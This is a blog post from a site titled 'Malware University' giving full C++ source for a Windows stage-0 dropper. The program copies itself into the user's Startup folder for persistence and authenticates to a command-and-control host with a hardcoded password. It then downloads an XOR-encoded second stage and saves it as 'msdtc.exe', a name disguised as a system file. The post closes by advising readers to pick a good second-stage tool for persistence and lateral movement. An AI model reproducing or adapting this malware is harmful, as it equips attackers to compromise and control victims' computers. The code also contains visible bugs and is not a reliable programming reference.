Skip to content

Malware University

Class is in Session

  • About
    • Privacy Policy
  • Contact
  • Resources

Tag: payload

Windows Download and Execute (Stage 0 or 1) Malware Example Code

Posted on June 24, 2019 - June 27, 2019 by admin

This code is an example of a Stage 0 (or 1) malware written in C++ for the Windows operation system. It could be attached to various exploits, other payloads, or standalone.

A tool such as this would likely show up at the beginning of a campaign.  End stage campaigns may also find a tool like this useful for transportation of code between hosts.

int APIENTRY _tWinMain(	HINSTANCE	hInstance,
		        HINSTANCE	hPrevInstance,
			LPTSTR		lpCmdLine,
			int		cmdShow)
{
	DWORD retInstallVirus = InstallVirus();
	if (!retInstallVirus)
	{
		Sleep(30000 * (rand() % 30000));

		DWORD retDownloadStage2 = DownloadSecondStage();
		while (retDownloadStage2)
		{
			Sleep(300000);
			retDownloadStage2 = DownloadSecondStage();
		}
	}

	return 0;
}

Goal: Move ourselves to a different directory for persistence. Only run the second stage after a reboot.

What are we: We are an executable that somehow became executed on a system. Could be a standalone payload or changed to the payload in a sophisticated exploit with a few tweaks.

Contingencies: Try to install ourselves (this payload) immediately for persistence, and try to pull down our later stage after no wait to 15 minutes.

Let us begin…

#include "stdafx.h"

//
// Returns 0 if the virus already installed.
//
DWORD InstallVirus()
{
	TCHAR ourFilename[MAX_PATH];
	TCHAR new_filename[MAX_PATH];
	TCHAR relativeTargetDirectory[MAX_PATH] = _T("\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\");
	int end = 0;
	GetModuleFileName(0, ourFilename, MAX_PATH * sizeof(TCHAR));
	// Copy to AppRoaming folder.
	TCHAR* rawFilename = _tcsrchr(ourFilename, _T('\\')) + 1;
	TCHAR user_directory[MAX_PATH];
	SHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, user_directory);
	_tcscpy_s(new_filename, user_directory);
	_tcscat_s(new_filename, relativeTargetDirectory);
	_tcscat_s(new_filename, rawFilename);

	// Check if our file already exists.
	FILE* testFile = _tfopen(new_filename, _T("rb"));
	if (testFile)
		return 0;

	size_t fileSize;
	FILE* fp = _tfopen(ourFilename, _T("rb"));
	if (!fp)
	{
		return -2;
	}
	fseek(fp, 0, SEEK_END);
	fileSize = ftell(fp);
	fseek(fp, 0, SEEK_SET);
	char* fileBuffer = new char[fileSize];

	if (fread(fileBuffer, sizeof(char), fileSize, fp) != fileSize)
	{
		return -3;
	}

	FILE* copiedFile = _tfopen(new_filename, _T("wb"));
	if (!copiedFile)
		return -4;

	fwrite(fileBuffer, sizeof(char), fileSize, copiedFile);
	fclose(copiedFile);

	return 1;
}

This function reads the contents of ourselves and writes it to the persistence location (C:\\Users\\<user_name>\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\)

This ensures we run every time the system starts.

Extra: Double slashes are for the escape, in case you were confused.

/* If our key matches what server expects it will send us the following struct:

	typedef struct
	{
		char		magic[4];		// "abcd"
		uint32_t	payload_size;
		byte		xor_key;
		char		payload[payload_size];
	} server_rsp;
*/
//
// Returns 0 on successfully downloading.
//
DWORD DownloadSecondStage()
{
	// Virus is already installed.
	HINTERNET hOpen = InternetOpen(	NULL,
		INTERNET_OPEN_TYPE_PRECONFIG,							 
                NULL,
		NULL,
		0);
	if (!hOpen)
		return -1;

	HINTERNET hUrl = InternetConnect(hOpen,										 
                                         _T("site.com"),
		                         80,
	   	 		         NULL,
					 NULL,
					 INTERNET_SERVICE_HTTP,
					 INTERNET_FLAG_PRAGMA_NOCACHE,
					 NULL);
	if (!hUrl)
		return -2;

	HINTERNET hRequest = HttpOpenRequest(hUrl,
					     _T("POST"),											 
                                             _T("/"),
					     NULL,
   					     NULL,
					     NULL,
					     NULL,
					     NULL);
	if (!hRequest)
		return -3;

	BOOL bRequest = HttpSendRequest(hRequest,
                      _T("Content-Type: application/x-www-form-urlencoded"),
                      _tcslen(_T("Content-Type: application/x-www-form-urlencoded")),
                       "password=1234567890",
                       strlen("password=1234567890"));

	// Read the first two members of structure. 
	DWORD numBytesRead = 0;
	DWORD numAvailable = 0;
	char* huge_buffer;
        // We must use the heap, because the stack can only hold 
        // around 0.5 mb. 
	huge_buffer = new char[10485760]();
	numBytesRead = 0;
	numAvailable = 0;
	memset(huge_buffer, 0, sizeof(huge_buffer));

	while (InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0) && numAvailable)
	{
		InternetReadFile(hRequest, huge_buffer + numBytesRead, numAvailable, &numBytesRead);
	}

	if (!InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0))
	{
		delete [] huge_buffer;
		return -4;
	}

	if (numBytesRead < 9)	// Initial header size
	{
		delete [] huge_buffer;
		return -5;
	}

	if (*(huge_buffer + 0) != 'a' ||
		*(huge_buffer + 1) != 'b' ||
		*(huge_buffer + 2) != 'c' ||
		*(huge_buffer + 3) != 'd')
	{
		delete [] huge_buffer;
		return -6;
	}

We send a “password” to the Command and Control (C2) server to “authenticate” and “authorize” ourselves.

char magic[4]; // “abcd”
uint32_t payload_size;
byte xor_key;
char payload[payload_size];

We check for the structure with starting magic bytes of ‘a’ (0x61), ‘b’ (0x62), ‘c’ (0x63), ‘d’ (0x64). Next is the payload_size, which tells us how big payload is. xor_key is the “decoder” key.

	byte hi_byte = huge_buffer[4];
	byte mid1_byte = huge_buffer[5];
	byte mid2_byte = huge_buffer[6];
	byte lo_byte = huge_buffer[7];
	int payload_size =	(hi_byte << 24) +
				(mid1_byte << 16) +
				(mid2_byte << 8) +
				(lo_byte);
	char xor = *(huge_buffer + 8);

	for (int i = 0; i < payload_size; i++)
	{
		if (huge_buffer[9 + i])
			if (huge_buffer[9 + i] != xor)
				huge_buffer[9 + i] ^= xor;
	}

	FILE* downloaded_file = _tfopen(_T("msdtc.exe"), _T("wb"));		// Make sure this file deletes us when it runs.
	if (!downloaded_file)
	{
		delete [] huge_buffer;
		return -7;
	}

	if (fwrite(huge_buffer + 9, sizeof(char), payload_size, downloaded_file) != payload_size)
	{
		fclose(downloaded_file);
		delete [] huge_buffer;
		BOOL bDelete = DeleteFile(_T("msdtc.exe"));

		return -8;
	}

	fclose(downloaded_file);
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hOpen);
	delete [] huge_buffer;

	// We are done;
	return 0;
}

We save the binary file as “msdtc.exe” in the directory we are executing in.

This is an example of a straight to the point malware for Windows systems new and old. It would likely run in a “stage 0” scenario, as either an encapsulated within the main payload of an initial attack (slight modifications), as a standard Windows executable (EXE/DLL), or as position independent code (PIC) as shellcode (slight modifications).

The file “msdtc.exe”, in this case, would be your long-term solution for persistence and lateral movement. Make sure it’s a good tool and you have several workable solutions for the environment you are targeting.

Posted in Malware DevelopmentTagged c malware, c++, malware, payload, stage 0, win32, WINAPILeave a comment

Recent Posts

  • Manual Scraping
  • Nitter Replacement
  • MFA Abuse in Splunk
  • Virtualbox Automation
  • Repository Poisoning

Recent Comments

    Archives

    • August 2024
    • July 2023
    • August 2022
    • March 2022
    • November 2021
    • October 2021
    • September 2021
    • August 2021
    • July 2021
    • June 2021
    • February 2021
    • December 2020
    • October 2020
    • September 2020
    • April 2020
    • March 2020
    • January 2020
    • July 2019
    • June 2019

    Categories

    • Campaign Analysis
    • Campaign Management
    • Code Analysis
    • Current Events
    • Malware Development
    • Techniques
    • Uncategorized
    • Utilities

    Meta

    • Log in
    • Entries feed
    • Comments feed
    • WordPress.org
    Proudly powered by WordPress | Theme: micro, developed by DevriX.